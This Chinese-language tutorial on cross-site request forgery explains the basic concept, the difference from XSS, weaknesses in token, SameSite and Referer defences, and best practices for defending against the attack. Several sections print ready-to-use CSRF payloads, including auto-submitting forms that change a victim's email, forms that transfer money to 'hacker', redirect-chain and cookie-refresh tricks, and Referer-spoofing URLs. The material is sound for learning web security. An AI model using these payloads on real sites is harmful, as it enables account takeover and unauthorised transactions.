客户端漏洞篇之客户端请求伪造(CSRF)专题
字数 1496 2025-08-10 16:34:34
客户端请求伪造(CSRF)专题教学文档
1. CSRF基础概念
1.1 什么是CSRF
CSRF(Cross-Site Request Forgery)跨站请求伪造是一种攻击方式,攻击者诱使受害者在已登录目标网站的情况下,执行非本意的操作。
1.2 CSRF攻击三要素
- 相关操作:攻击者感兴趣的操作(如修改数据、权限操作等)
- 基于cookie的会话处理:应用程序仅通过cookie进行会话处理
- 没有不可预测的参数:请求中不包含攻击者无法预测的参数(如密码等)
1.3 CSRF攻击示例
假设存在修改邮箱的功能,请求如下:
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE
email=wiener@normal-user.com
可构造CSRF页面:
<html>
<body>
<form action="https://vulnerable-website.com/email/change" method="POST">
<input type="hidden" name="email" value="pwned@evil-user.net" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
2. CSRF与XSS的区别
| 特性 | XSS | CSRF |
|---|---|---|
| 能力 | 执行任意JS脚本 | 执行特定操作 |
| 结果获取 | 可发送到远程服务器 | 仅能发出请求 |
| 危害 | 更大 | 相对较小 |
3. CSRF防御措施及绕过方法
3.1 CSRF Token防御
3.1.1 常见CSRF Token验证缺陷
-
依赖请求方法的验证
- 仅验证POST请求中的Token,不验证GET请求
- 绕过方法:将POST请求转换为GET请求
-
依赖Token是否存在的验证
- 仅验证请求中是否存在Token,不验证其有效性
- 绕过方法:直接移除Token参数
-
Token未与用户会话绑定
- 仅验证Token有效性,不验证是否属于当前用户
- 绕过方法:使用其他用户的合法Token
-
Token与非会话cookie绑定
- Token与cookie中非session字段绑定
- 绕过方法:利用CLRF注入设置绑定字段
-
Token被复制到cookie中
- 仅验证请求参数与cookie中的Token是否一致
- 绕过方法:构造匹配的Token
3.2 SameSite Cookie防御
3.2.1 SameSite级别
-
Strict
- 完全不发送跨站请求
- 绕过方法:利用站内客户端重定向
-
Lax
- 仅允许GET请求的顶级导航
- 绕过方法:
- 使用GET请求
- 利用方法覆盖(_method参数)
- 利用120秒cookie刷新窗口
-
None
- 完全禁用SameSite限制
- 需配合Secure属性使用
3.2.2 绕过方法
-
使用GET请求
<script> document.location = 'https://vulnerable-website.com/account/transfer-payment?recipient=hacker&amount=1000000'; </script> -
方法覆盖
<form action="https://vulnerable-website.com/account/transfer-payment" method="POST"> <input type="hidden" name="_method" value="GET"> <input type="hidden" name="recipient" value="hacker"> <input type="hidden" name="amount" value="1000000"> </form> -
站内利用链(客户端重定向)
<script> document.location = "https://target.com/post/comment/confirmation?postId=1/../../my-account/change-email?email=pwned%40web-security-academy.net%26submit=1"; </script> -
利用兄弟域XSS
<script> document.location = "https://cms-target.com/login?username=[URL编码的CSRF代码]&password=123"; </script> -
利用cookie刷新窗口
<form method="POST" action="https://target.com/my-account/change-email"> <input type="hidden" name="email" value="pwned@portswigger.net"> </form> <p>Click anywhere on the page</p> <script> window.onclick = () => { window.open('https://target.com/social-login'); setTimeout(changeEmail, 5000); } function changeEmail() { document.forms[0].submit(); } </script>
3.3 基于Referer的防御
3.3.1 绕过方法
-
移除Referer头
<meta name="referrer" content="no-referrer"> -
构造特殊域名
http://vulnerable-website.com.attacker-website.com/csrf-attack http://attacker-website.com/csrf-attack?vulnerable-website.com -
使用history.pushState
<script> history.pushState("", "", "/?vulnerable-website.com"); </script>
4. CSRF防御最佳实践
4.1 CSRF Token实现要点
-
生成要求
- 高熵值且不可预测
- 使用高强度伪随机数生成器
- 可结合时间戳和用户标识
-
传输方式
- 通过隐藏表单字段传输
- 避免使用GET参数和请求头
-
验证要求
- 严格绑定用户会话
- 每次操作前验证
- 验证失败拒绝请求
4.2 SameSite Cookie配置
- 默认使用Strict级别
- 仅在必要时降低为Lax
- 谨慎使用None级别
4.3 其他防御措施
-
隔离不安全内容
- 将用户上传内容与敏感功能隔离
- 使用不同子域或独立站点
-
全面测试攻击面
- 测试所有同级域
- 包括跨源同站攻击场景
5. 总结
CSRF攻击利用受害者在目标网站的已认证状态执行非预期操作。防御CSRF需要综合使用CSRF Token、SameSite Cookie和Referer验证等措施,同时要注意各种验证机制的潜在缺陷和绕过方法。在实际应用中,应优先使用CSRF Token并正确实现其验证逻辑,配合适当的SameSite限制,才能有效防范CSRF攻击。